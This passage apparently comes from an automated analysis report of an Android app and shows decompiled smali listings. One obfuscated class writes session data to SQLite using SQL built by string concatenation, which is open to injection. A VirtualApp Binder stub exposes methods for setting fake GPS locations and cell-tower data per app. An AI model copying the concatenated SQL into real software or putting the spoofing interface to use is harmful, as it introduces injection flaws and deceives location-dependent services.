                              26move-result-wide v2
                              27new-instance v0, Landroid/content/ContentValues;
                              29invoke-direct {v0}, Landroid/content/ContentValues;-><init>()V
                              31const-string v4, "__ii"
                              33invoke-virtual {v0, v4, p1}, Landroid/content/ContentValues;->put(Ljava/lang/String;Ljava/lang/String;)V
                              35const-string v4, "__e"
                              37invoke-static {v2, v3}, Ljava/lang/String;->valueOf(J)Ljava/lang/String;
                              38move-result-object v2
                              40invoke-virtual {v0, v4, v2}, Landroid/content/ContentValues;->put(Ljava/lang/String;Ljava/lang/String;)V
                              42const-string v2, "__sd"
                              43const/4 v3, 0x0
                              45invoke-virtual {v1, v2, v3, v0}, Landroid/database/sqlite/SQLiteDatabase;->insert(Ljava/lang/String;Ljava/lang/String;Landroid/content/ContentValues;)J
                              46cond_3b:
                              47invoke-virtual {v1}, Landroid/database/sqlite/SQLiteDatabase;->setTransactionSuccessful()V
                              48try_end_3e:
                              49invoke-virtual {v1}, Landroid/database/sqlite/SQLiteDatabase;->endTransaction()V
                              51sget-object v0, Lb/a/cx;->a:Landroid/content/Context;
                              53invoke-static {v0}, Lb/a/cv;->a(Landroid/content/Context;)Lb/a/cv;
                              54move-result-object v0
                              56invoke-virtual {v0}, Lb/a/cv;->b()V
                              57goto/16 :goto_4
                              58cond_4b:
                              59sget-object v2, Lb/a/cx$a;->d:Lb/a/cx$a;
                              60if-ne p3, v2, :cond_9e
                              62const-string v0, "__f"
                              64invoke-virtual {p2, v0}, Lorg/json/JSONObject;->get(Ljava/lang/String;)Ljava/lang/Object;
                              65move-result-object v0
                              66check-cast v0, Ljava/lang/Long;
                              68invoke-virtual {v0}, Ljava/lang/Long;->longValue()J
                              69move-result-wide v2
                              70new-instance v0, Ljava/lang/StringBuilder;
                              72invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
                              74const-string v4, "update __sd set __f=\""
                              76invoke-virtual {v0, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              77move-result-object v0
                              79invoke-virtual {v0, v2, v3}, Ljava/lang/StringBuilder;->append(J)Ljava/lang/StringBuilder;
                              80move-result-object v0
                              82const-string v2, "\" where "
                              84invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              85move-result-object v0
                              87const-string v2, "__ii"
                              89invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              90move-result-object v0
                              92const-string v2, "=\""
                              94invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              95move-result-object v0
                              97invoke-virtual {v0, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              98move-result-object v0
                              100const-string v2, "\""
                              102invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              103move-result-object v0
                              105invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              106move-result-object v0
                              108invoke-virtual {v1, v0}, Landroid/database/sqlite/SQLiteDatabase;->execSQL(Ljava/lang/String;)V
                              109try_end_8d: goto/16 :goto_3b
                              110catch_8e: move-exception v0
                              111move-object v0, v1
                              112goto_90:
                              113invoke-virtual {v0}, Landroid/database/sqlite/SQLiteDatabase;->endTransaction()V
                              115sget-object v0, Lb/a/cx;->a:Landroid/content/Context;
                              117invoke-static {v0}, Lb/a/cv;->a(Landroid/content/Context;)Lb/a/cv;
                              118move-result-object v0
                              120invoke-virtual {v0}, Lb/a/cv;->b()V
                              121goto/16 :goto_4
                              122cond_9e:
                              123sget-object v2, Lb/a/cx$a;->b:Lb/a/cx$a;
                              124if-ne p3, v2, :cond_b6
                              126const-string v0, "__a"
                              128invoke-direct {p0, p1, p2, v1, v0}, Lb/a/cx;->a(Ljava/lang/String;Lorg/json/JSONObject;Landroid/database/sqlite/SQLiteDatabase;Ljava/lang/String;)V
                              129try_end_a7: goto/16 :goto_3b
                              130catchall_a8: move-exception v0
                              131goto_a9:
                              132invoke-virtual {v1}, Landroid/database/sqlite/SQLiteDatabase;->endTransaction()V
                              134sget-object v1, Lb/a/cx;->a:Landroid/content/Context;
                              136invoke-static {v1}, Lb/a/cv;->a(Landroid/content/Context;)Lb/a/cv;
                              137move-result-object v1
                              139invoke-virtual {v1}, Lb/a/cv;->b()V
                              140throw v0
                              141cond_b6:
                              142sget-object v2, Lb/a/cx$a;->a:Lb/a/cx$a;
                              143if-ne p3, v2, :cond_c1
                              145const-string v0, "__b"
                              147invoke-direct {p0, p1, p2, v1, v0}, Lb/a/cx;->a(Ljava/lang/String;Lorg/json/JSONObject;Landroid/database/sqlite/SQLiteDatabase;Ljava/lang/String;)V
                              148goto/16 :goto_3b
                              149cond_c1:
                              150sget-object v2, Lb/a/cx$a;->e:Lb/a/cx$a;
                              151try_end_c3: if-ne p3, v2, :cond_3b
                              152try_start_c5:
                              153const-string v2, "__d"
                              155invoke-virtual {p2, v2}, Lorg/json/JSONObject;->getJSONObject(Ljava/lang/String;)Lorg/json/JSONObject;
                              156try_end_ca: move-result-object v2
                              157move-object v3, v2
                              158goto_cc: if-eqz v3, :cond_1f3
                              159try_start_ce: new-instance v2, Ljava/lang/StringBuilder;
                              161invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
                              163const-string v4, "select __d from __sd where __ii=\""
                              165invoke-virtual {v2, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              166move-result-object v2
                              168invoke-virtual {v2, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              169move-result-object v2
                              171const-string v4, "\""
                              173invoke-virtual {v2, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              174move-result-object v2
                              176invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              177move-result-object v2
                              178const/4 v4, 0x0
                              180invoke-virtual {v1, v2, v4}, Landroid/database/sqlite/SQLiteDatabase;->rawQuery(Ljava/lang/String;[Ljava/lang/String;)Landroid/database/Cursor;
                              181move-result-object v2
                              182if-eqz v2, :cond_1f3
                              183goto_ee:
                              184invoke-interface {v2}, Landroid/database/Cursor;->moveToNext()Z
                              185move-result v4
                              186if-eqz v4, :cond_106
                              188const-string v0, "__d"
                              190invoke-interface {v2, v0}, Landroid/database/Cursor;->getColumnIndex(Ljava/lang/String;)I
                              191move-result v0
                              193invoke-interface {v2, v0}, Landroid/database/Cursor;->getString(I)Ljava/lang/String;
                              194move-result-object v0
                              196invoke-virtual {p0, v0}, Lb/a/cx;->b(Ljava/lang/String;)Ljava/lang/String;
                              197try_end_101: move-result-object v0
                              198goto/16 :goto_ee
                              199catch_103: move-exception v2
                              200move-object v3, v0
                              201goto/16 :goto_cc
                              202cond_106: move-object v2, v0
                              203goto_107: if-eqz v3, :cond_15c
                              204try_start_109: new-instance v0, Lorg/json/JSONArray;
                              206invoke-direct {v0}, Lorg/json/JSONArray;-><init>()V
                              208invoke-static {v2}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z
                              209move-result v4
                              210if-nez v4, :cond_119
                              211new-instance v0, Lorg/json/JSONArray;
                              213invoke-direct {v0, v2}, Lorg/json/JSONArray;-><init>(Ljava/lang/String;)V
                              214cond_119:
                              215invoke-virtual {v0, v3}, Lorg/json/JSONArray;->put(Ljava/lang/Object;)Lorg/json/JSONArray;
                              217invoke-virtual {v0}, Lorg/json/JSONArray;->toString()Ljava/lang/String;
                              218move-result-object v0
                              220invoke-virtual {p0, v0}, Lb/a/cx;->a(Ljava/lang/String;)Ljava/lang/String;
                              221move-result-object v0
                              223invoke-static {v0}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z
                              224move-result v2
                              225if-nez v2, :cond_15c
                              226new-instance v2, Ljava/lang/StringBuilder;
                              228invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
                              230const-string v3, "update __sd set __d=\""
                              232invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              233move-result-object v2
                              235invoke-virtual {v2, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              236move-result-object v0
                              238const-string v2, "\" where "
                              240invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              241move-result-object v0
                              243const-string v2, "__ii"
                              245invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              246move-result-object v0
                              248const-string v2, "=\""
                              250invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              251move-result-object v0
                              253invoke-virtual {v0, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              254move-result-object v0
                              256const-string v2, "\""
                              258invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              259move-result-object v0
                              261invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              262move-result-object v0
                              264invoke-virtual {v1, v0}, Landroid/database/sqlite/SQLiteDatabase;->execSQL(Ljava/lang/String;)V
                              265cond_15c:
                              266const-string v0, "__c"
                              268invoke-virtual {p2, v0}, Lorg/json/JSONObject;->getJSONObject(Ljava/lang/String;)Lorg/json/JSONObject;
                              269move-result-object v0
                              270if-eqz v0, :cond_1a4
                              272invoke-virtual {v0}, Lorg/json/JSONObject;->toString()Ljava/lang/String;
                              273move-result-object v0
                              275invoke-virtual {p0, v0}, Lb/a/cx;->a(Ljava/lang/String;)Ljava/lang/String;
                              276move-result-object v0
                              278invoke-static {v0}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z
                              279move-result v2
                              280if-nez v2, :cond_1a4
                              281new-instance v2, Ljava/lang/StringBuilder;
                              283invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
                              285const-string v3, "update __sd set __c=\""
                              287invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              288move-result-object v2
                              290invoke-virtual {v2, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              291move-result-object v0
                              293const-string v2, "\" where "
                              295invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              296move-result-object v0
                              298const-string v2, "__ii"
                              300invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              301move-result-object v0
                              303const-string v2, "=\""
                              305invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              306move-result-object v0
                              308invoke-virtual {v0, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              309move-result-object v0
                              311const-string v2, "\""
                              313invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              314move-result-object v0
                              316invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              317move-result-object v0
                              319invoke-virtual {v1, v0}, Landroid/database/sqlite/SQLiteDatabase;->execSQL(Ljava/lang/String;)V
                              320try_start_1a4:
                              321const-string v0, "__f"
                              323invoke-virtual {p2, v0}, Lorg/json/JSONObject;->getLong(Ljava/lang/String;)J
                              324move-result-wide v2
                              325new-instance v0, Ljava/lang/StringBuilder;
                              327invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
                              329const-string v4, "update __sd set __f=\""
                              331invoke-virtual {v0, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              332move-result-object v0
                              334invoke-static {v2, v3}, Ljava/lang/String;->valueOf(J)Ljava/lang/String;
                              335move-result-object v2
                              337invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              338move-result-object v0
                              340const-string v2, "\" where "
                              342invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              343move-result-object v0
                              345const-string v2, "__ii"
                              347invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              348move-result-object v0
                              350const-string v2, "=\""
                              352invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              353move-result-object v0
                              355invoke-virtual {v0, p1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              356move-result-object v0
                              358const-string v2, "\""
                              360invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              361move-result-object v0
                              363invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              364move-result-object v0
                              366invoke-virtual {v1, v0}, Landroid/database/sqlite/SQLiteDatabase;->execSQL(Ljava/lang/String;)V
                              367try_end_1e0: goto/16 :goto_3b
                              368catch_1e2: move-exception v0
                              369goto/16 :goto_3b
                              370catchall_1e5: move-exception v1
                              371move-object v6, v1
                              372move-object v1, v0
                              373move-object v0, v6
                              374goto/16 :goto_a9
                              375catch_1eb: move-exception v1
                              376goto/16 :goto_90
                              377catch_1ee: move-exception v0
                              378goto/16 :goto_1a4
                              379catch_1f0: move-exception v0
                              380goto/16 :goto_15c
                              381cond_1f3: move-object v2, v0
                              382goto/16 :goto_107
                              APIs
                              • android.os.Binder.onTransact
                              • android.os.Parcel.writeString
                              • android.os.Parcel.enforceInterface
                              • android.os.Parcel.readInt
                              • android.os.Parcel.readString
                              • com.lody.virtual.server.IVirtualLocationManager$Stub.getMode
                              • android.os.Parcel.writeNoException
                              • android.os.Parcel.writeInt
                              • android.os.Parcel.enforceInterface
                              • android.os.Parcel.readInt
                              • android.os.Parcel.readString
                              • android.os.Parcel.readInt
                              • com.lody.virtual.server.IVirtualLocationManager$Stub.setMode
                              • android.os.Parcel.writeNoException
                              • android.os.Parcel.enforceInterface
                              • android.os.Parcel.readInt
                              • android.os.Parcel.readString
                              • android.os.Parcel.readInt
                              • android.os.Parcelable$Creator.createFromParcel
                              • com.lody.virtual.server.IVirtualLocationManager$Stub.setCell
                              • android.os.Parcel.writeNoException
                              • android.os.Parcel.enforceInterface
                              • android.os.Parcel.readInt
                              • android.os.Parcel.readString
                              • android.os.Parcel.createTypedArrayList
                              • com.lody.virtual.server.IVirtualLocationManager$Stub.setAllCell
                              • android.os.Parcel.writeNoException
                              • android.os.Parcel.enforceInterface
                              • android.os.Parcel.readInt
                              • android.os.Parcel.readString
                              • android.os.Parcel.createTypedArrayList
                              • com.lody.virtual.server.IVirtualLocationManager$Stub.setNeighboringCell
                              • android.os.Parcel.writeNoException
                              • android.os.Parcel.enforceInterface
                              • android.os.Parcel.readInt
                              • android.os.Parcelable$Creator.createFromParcel
                              • com.lody.virtual.server.IVirtualLocationManager$Stub.setGlobalCell
                              • android.os.Parcel.writeNoException
                              • android.os.Parcel.enforceInterface
                              • android.os.Parcel.createTypedArrayList
                              • com.lody.virtual.server.IVirtualLocationManager$Stub.setGlobalAllCell
                              • android.os.Parcel.writeNoException
                              • android.os.Parcel.enforceInterface
                              • android.os.Parcel.createTypedArrayList
                              • com.lody.virtual.server.IVirtualLocationManager$Stub.setGlobalNeighboringCell
                              • android.os.Parcel.writeNoException
                              • android.os.Parcel.enforceInterface
                              • android.os.Parcel.readInt
                              • android.os.Parcel.readString
                              • com.lody.virtual.server.IVirtualLocationManager$Stub.getCell
                              • android.os.Parcel.writeNoException
                              • android.os.Parcel.writeInt
                              • android.os.Parcel.writeInt
                              • android.os.Parcel.enforceInterface
                              • android.os.Parcel.readInt
                              • android.os.Parcel.readString
                              • com.lody.virtual.server.IVirtualLocationManager$Stub.getAllCell
                              • android.os.Parcel.writeNoException
                              • android.os.Parcel.writeTypedList
                              • android.os.Parcel.enforceInterface
                              • android.os.Parcel.readInt
                              • android.os.Parcel.readString
                              • com.lody.virtual.server.IVirtualLocationManager$Stub.getNeighboringCell
                              • android.os.Parcel.writeNoException
                              • android.os.Parcel.writeTypedList
                              • android.os.Parcel.enforceInterface
                              • android.os.Parcel.readInt
                              • android.os.Parcel.readString
                              • android.os.Parcel.readInt
                              • android.os.Parcelable$Creator.createFromParcel
                              • com.lody.virtual.server.IVirtualLocationManager$Stub.setLocation
                              • android.os.Parcel.writeNoException
                              • android.os.Parcel.enforceInterface
                              • android.os.Parcel.readInt
                              • android.os.Parcel.readString
                              • com.lody.virtual.server.IVirtualLocationManager$Stub.getLocation
                              • android.os.Parcel.writeNoException
                              • android.os.Parcel.writeInt
                              • android.os.Parcel.writeInt
                              • android.os.Parcel.enforceInterface
                              • android.os.Parcel.readInt
                              • android.os.Parcelable$Creator.createFromParcel
                              • com.lody.virtual.server.IVirtualLocationManager$Stub.setGlobalLocation
                              • android.os.Parcel.writeNoException
                              • android.os.Parcel.enforceInterface
                              • com.lody.virtual.server.IVirtualLocationManager$Stub.getGlobalLocation
                              • android.os.Parcel.writeNoException
                              • android.os.Parcel.writeInt
                              • android.os.Parcel.writeInt
                              Strings
                              • com.lody.virtual.server.IVirtualLocationManager
                              Position Instruction Meta Information
                              0.prologue
                              1const/4 v3, 0x0
                              2const/4 v0, 0x0
                              3const/4 v1, 0x1
                              4sparse-switch p1, :sswitch_data_1b8
                              6invoke-super {p0, p1, p2, p3, p4}, Landroid/os/Binder;->onTransact(ILandroid/os/Parcel;Landroid/os/Parcel;I)Z
                              7move-result v0
                              8goto_a: return v0
                              9sswitch_b:
                              10const-string v0, "com.lody.virtual.server.IVirtualLocationManager"
                              12invoke-virtual {p3, v0}, Landroid/os/Parcel;->writeString(Ljava/lang/String;)V
                              13move v0, v1
                              14goto/16 :goto_a
                              15sswitch_12:
                              16const-string v0, "com.lody.virtual.server.IVirtualLocationManager"
                              18invoke-virtual {p2, v0}, Landroid/os/Parcel;->enforceInterface(Ljava/lang/String;)V
                              20invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              21move-result v0
                              23invoke-virtual {p2}, Landroid/os/Parcel;->readString()Ljava/lang/String;
                              24move-result-object v2
                              26invoke-virtual {p0, v0, v2}, Lcom/lody/virtual/server/IVirtualLocationManager$Stub;->getMode(ILjava/lang/String;)I
                              27move-result v0
                              29invoke-virtual {p3}, Landroid/os/Parcel;->writeNoException()V
                              31invoke-virtual {p3, v0}, Landroid/os/Parcel;->writeInt(I)V
                              32move v0, v1
                              33goto/16 :goto_a
                              34sswitch_2b:
                              35const-string v0, "com.lody.virtual.server.IVirtualLocationManager"
                              37invoke-virtual {p2, v0}, Landroid/os/Parcel;->enforceInterface(Ljava/lang/String;)V
                              39invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              40move-result v0
                              42invoke-virtual {p2}, Landroid/os/Parcel;->readString()Ljava/lang/String;
                              43move-result-object v2
                              45invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              46move-result v3
                              48invoke-virtual {p0, v0, v2, v3}, Lcom/lody/virtual/server/IVirtualLocationManager$Stub;->setMode(ILjava/lang/String;I)V
                              50invoke-virtual {p3}, Landroid/os/Parcel;->writeNoException()V
                              51move v0, v1
                              52goto/16 :goto_a
                              53sswitch_44:
                              54const-string v2, "com.lody.virtual.server.IVirtualLocationManager"
                              56invoke-virtual {p2, v2}, Landroid/os/Parcel;->enforceInterface(Ljava/lang/String;)V
                              58invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              59move-result v2
                              61invoke-virtual {p2}, Landroid/os/Parcel;->readString()Ljava/lang/String;
                              62move-result-object v3
                              64invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              65move-result v4
                              66if-eqz v4, :cond_5f
                              68sget-object v0, Lcom/lody/virtual/remote/vloc/VCell;->CREATOR:Landroid/os/Parcelable$Creator;
                              70invoke-interface {v0, p2}, Landroid/os/Parcelable$Creator;->createFromParcel(Landroid/os/Parcel;)Ljava/lang/Object;
                              71move-result-object v0
                              72check-cast v0, Lcom/lody/virtual/remote/vloc/VCell;
                              73cond_5f:
                              74invoke-virtual {p0, v2, v3, v0}, Lcom/lody/virtual/server/IVirtualLocationManager$Stub;->setCell(ILjava/lang/String;Lcom/lody/virtual/remote/vloc/VCell;)V
                              76invoke-virtual {p3}, Landroid/os/Parcel;->writeNoException()V
                              77move v0, v1
                              78goto/16 :goto_a
                              79sswitch_67:
                              80const-string v0, "com.lody.virtual.server.IVirtualLocationManager"
                              82invoke-virtual {p2, v0}, Landroid/os/Parcel;->enforceInterface(Ljava/lang/String;)V
                              84invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              85move-result v0
                              87invoke-virtual {p2}, Landroid/os/Parcel;->readString()Ljava/lang/String;
                              88move-result-object v2
                              90sget-object v3, Lcom/lody/virtual/remote/vloc/VCell;->CREATOR:Landroid/os/Parcelable$Creator;
                              92invoke-virtual {p2, v3}, Landroid/os/Parcel;->createTypedArrayList(Landroid/os/Parcelable$Creator;)Ljava/util/ArrayList;
                              93move-result-object v3
                              95invoke-virtual {p0, v0, v2, v3}, Lcom/lody/virtual/server/IVirtualLocationManager$Stub;->setAllCell(ILjava/lang/String;Ljava/util/List;)V
                              97invoke-virtual {p3}, Landroid/os/Parcel;->writeNoException()V
                              98move v0, v1
                              99goto/16 :goto_a
                              100sswitch_82:
                              101const-string v0, "com.lody.virtual.server.IVirtualLocationManager"
                              103invoke-virtual {p2, v0}, Landroid/os/Parcel;->enforceInterface(Ljava/lang/String;)V
                              105invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              106move-result v0
                              108invoke-virtual {p2}, Landroid/os/Parcel;->readString()Ljava/lang/String;
                              109move-result-object v2
                              111sget-object v3, Lcom/lody/virtual/remote/vloc/VCell;->CREATOR:Landroid/os/Parcelable$Creator;
                              113invoke-virtual {p2, v3}, Landroid/os/Parcel;->createTypedArrayList(Landroid/os/Parcelable$Creator;)Ljava/util/ArrayList;
                              114move-result-object v3
                              116invoke-virtual {p0, v0, v2, v3}, Lcom/lody/virtual/server/IVirtualLocationManager$Stub;->setNeighboringCell(ILjava/lang/String;Ljava/util/List;)V
                              118invoke-virtual {p3}, Landroid/os/Parcel;->writeNoException()V
                              119move v0, v1
                              120goto/16 :goto_a
                              121sswitch_9e:
                              122const-string v2, "com.lody.virtual.server.IVirtualLocationManager"
                              124invoke-virtual {p2, v2}, Landroid/os/Parcel;->enforceInterface(Ljava/lang/String;)V
                              126invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              127move-result v2
                              128if-eqz v2, :cond_b1
                              130sget-object v0, Lcom/lody/virtual/remote/vloc/VCell;->CREATOR:Landroid/os/Parcelable$Creator;
                              132invoke-interface {v0, p2}, Landroid/os/Parcelable$Creator;->createFromParcel(Landroid/os/Parcel;)Ljava/lang/Object;
                              133move-result-object v0
                              134check-cast v0, Lcom/lody/virtual/remote/vloc/VCell;
                              135cond_b1:
                              136invoke-virtual {p0, v0}, Lcom/lody/virtual/server/IVirtualLocationManager$Stub;->setGlobalCell(Lcom/lody/virtual/remote/vloc/VCell;)V
                              138invoke-virtual {p3}, Landroid/os/Parcel;->writeNoException()V
                              139move v0, v1
                              140goto/16 :goto_a
                              141sswitch_ba:
                              142const-string v0, "com.lody.virtual.server.IVirtualLocationManager"
                              144invoke-virtual {p2, v0}, Landroid/os/Parcel;->enforceInterface(Ljava/lang/String;)V
                              146sget-object v0, Lcom/lody/virtual/remote/vloc/VCell;->CREATOR:Landroid/os/Parcelable$Creator;
                              148invoke-virtual {p2, v0}, Landroid/os/Parcel;->createTypedArrayList(Landroid/os/Parcelable$Creator;)Ljava/util/ArrayList;
                              149move-result-object v0
                              151invoke-virtual {p0, v0}, Lcom/lody/virtual/server/IVirtualLocationManager$Stub;->setGlobalAllCell(Ljava/util/List;)V
                              153invoke-virtual {p3}, Landroid/os/Parcel;->writeNoException()V
                              154move v0, v1
                              155goto/16 :goto_a
                              156sswitch_ce:
                              157const-string v0, "com.lody.virtual.server.IVirtualLocationManager"
                              159invoke-virtual {p2, v0}, Landroid/os/Parcel;->enforceInterface(Ljava/lang/String;)V
                              161sget-object v0, Lcom/lody/virtual/remote/vloc/VCell;->CREATOR:Landroid/os/Parcelable$Creator;
                              163invoke-virtual {p2, v0}, Landroid/os/Parcel;->createTypedArrayList(Landroid/os/Parcelable$Creator;)Ljava/util/ArrayList;
                              164move-result-object v0
                              166invoke-virtual {p0, v0}, Lcom/lody/virtual/server/IVirtualLocationManager$Stub;->setGlobalNeighboringCell(Ljava/util/List;)V
                              168invoke-virtual {p3}, Landroid/os/Parcel;->writeNoException()V
                              169move v0, v1
                              170goto/16 :goto_a
                              171sswitch_e2:
                              172const-string v0, "com.lody.virtual.server.IVirtualLocationManager"
                              174invoke-virtual {p2, v0}, Landroid/os/Parcel;->enforceInterface(Ljava/lang/String;)V
                              176invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              177move-result v0
                              179invoke-virtual {p2}, Landroid/os/Parcel;->readString()Ljava/lang/String;
                              180move-result-object v2
                              182invoke-virtual {p0, v0, v2}, Lcom/lody/virtual/server/IVirtualLocationManager$Stub;->getCell(ILjava/lang/String;)Lcom/lody/virtual/remote/vloc/VCell;
                              183move-result-object v0
                              185invoke-virtual {p3}, Landroid/os/Parcel;->writeNoException()V
                              186if-eqz v0, :cond_101
                              188invoke-virtual {p3, v1}, Landroid/os/Parcel;->writeInt(I)V
                              190invoke-virtual {v0, p3, v1}, Lcom/lody/virtual/remote/vloc/VCell;->writeToParcel(Landroid/os/Parcel;I)V
                              191goto_fe: move v0, v1
                              192goto/16 :goto_a
                              193cond_101:
                              194invoke-virtual {p3, v3}, Landroid/os/Parcel;->writeInt(I)V
                              195goto/16 :goto_fe
                              196sswitch_105:
                              197const-string v0, "com.lody.virtual.server.IVirtualLocationManager"
                              199invoke-virtual {p2, v0}, Landroid/os/Parcel;->enforceInterface(Ljava/lang/String;)V
                              201invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              202move-result v0
                              204invoke-virtual {p2}, Landroid/os/Parcel;->readString()Ljava/lang/String;
                              205move-result-object v2
                              207invoke-virtual {p0, v0, v2}, Lcom/lody/virtual/server/IVirtualLocationManager$Stub;->getAllCell(ILjava/lang/String;)Ljava/util/List;
                              208move-result-object v0
                              210invoke-virtual {p3}, Landroid/os/Parcel;->writeNoException()V
                              212invoke-virtual {p3, v0}, Landroid/os/Parcel;->writeTypedList(Ljava/util/List;)V
                              213move v0, v1
                              214goto/16 :goto_a
                              215sswitch_11f:
                              216const-string v0, "com.lody.virtual.server.IVirtualLocationManager"
                              218invoke-virtual {p2, v0}, Landroid/os/Parcel;->enforceInterface(Ljava/lang/String;)V
                              220invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              221move-result v0
                              223invoke-virtual {p2}, Landroid/os/Parcel;->readString()Ljava/lang/String;
                              224move-result-object v2
                              226invoke-virtual {p0, v0, v2}, Lcom/lody/virtual/server/IVirtualLocationManager$Stub;->getNeighboringCell(ILjava/lang/String;)Ljava/util/List;
                              227move-result-object v0
                              229invoke-virtual {p3}, Landroid/os/Parcel;->writeNoException()V
                              231invoke-virtual {p3, v0}, Landroid/os/Parcel;->writeTypedList(Ljava/util/List;)V
                              232move v0, v1
                              233goto/16 :goto_a
                              234sswitch_139:
                              235const-string v2, "com.lody.virtual.server.IVirtualLocationManager"
                              237invoke-virtual {p2, v2}, Landroid/os/Parcel;->enforceInterface(Ljava/lang/String;)V
                              239invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              240move-result v2
                              242invoke-virtual {p2}, Landroid/os/Parcel;->readString()Ljava/lang/String;
                              243move-result-object v3
                              245invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              246move-result v4
                              247if-eqz v4, :cond_154
                              249sget-object v0, Lcom/lody/virtual/remote/vloc/VLocation;->CREATOR:Landroid/os/Parcelable$Creator;
                              251invoke-interface {v0, p2}, Landroid/os/Parcelable$Creator;->createFromParcel(Landroid/os/Parcel;)Ljava/lang/Object;
                              252move-result-object v0
                              253check-cast v0, Lcom/lody/virtual/remote/vloc/VLocation;
                              254cond_154:
                              255invoke-virtual {p0, v2, v3, v0}, Lcom/lody/virtual/server/IVirtualLocationManager$Stub;->setLocation(ILjava/lang/String;Lcom/lody/virtual/remote/vloc/VLocation;)V
                              257invoke-virtual {p3}, Landroid/os/Parcel;->writeNoException()V
                              258move v0, v1
                              259goto/16 :goto_a
                              260sswitch_15d:
                              261const-string v0, "com.lody.virtual.server.IVirtualLocationManager"
                              263invoke-virtual {p2, v0}, Landroid/os/Parcel;->enforceInterface(Ljava/lang/String;)V
                              265invoke-virtual {p2}, Landroid/os/Parcel;->readInt()I
                              266move-result v0
                              268invoke-virtual {p2}, Landroid/os/Parcel;->readString()Ljava/lang/String;
                              269move-result-object v2
                              271invoke-virtual {p0, v0, v2}, Lcom/lody/virtual/server/IVirtualLocationManager$Stub;->getLocation(ILjava/lang/String;)Lcom/lody/virtual/remote/vloc/VLocation;
                              272move-result-object v0
                              274invoke-virtual {p3}, Landroid/os/Parcel;->writeNoException()V
